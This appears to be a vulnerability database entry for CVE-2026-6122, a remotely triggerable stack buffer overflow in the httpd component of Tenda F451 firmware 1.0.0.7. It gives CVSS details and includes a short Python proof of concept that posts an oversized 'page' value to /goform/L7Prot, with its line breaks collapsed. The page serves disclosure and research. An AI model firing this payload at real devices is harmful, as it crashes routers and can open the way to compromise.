Security Vulnerability Report
中文
CVE-2026-6122 CVSS 8.8 HIGH

CVE-2026-6122

Published: 2026-04-12 08:16:38
Last Modified: 2026-04-29 20:01:34

Description

A vulnerability has been found in Tenda F451 1.0.0.7. Affected by this issue is the function frmL7ProtForm of the file /goform/L7Prot of the component httpd. Such manipulation of the argument page leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:f451_firmware:1.0.0.7:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:f451:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda F451 1.0.0.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/goform/L7Prot" # Malicious payload to trigger stack overflow # The exact offset needs to be determined through fuzzing payload = { "page": "A" * 500 } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=payload, timeout=5) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[-] Target might have crashed (DoS)") if __name__ == "__main__": target = "192.168.0.1" # Replace with actual target IP exploit(target)

References

Raw JSON Data

JSON
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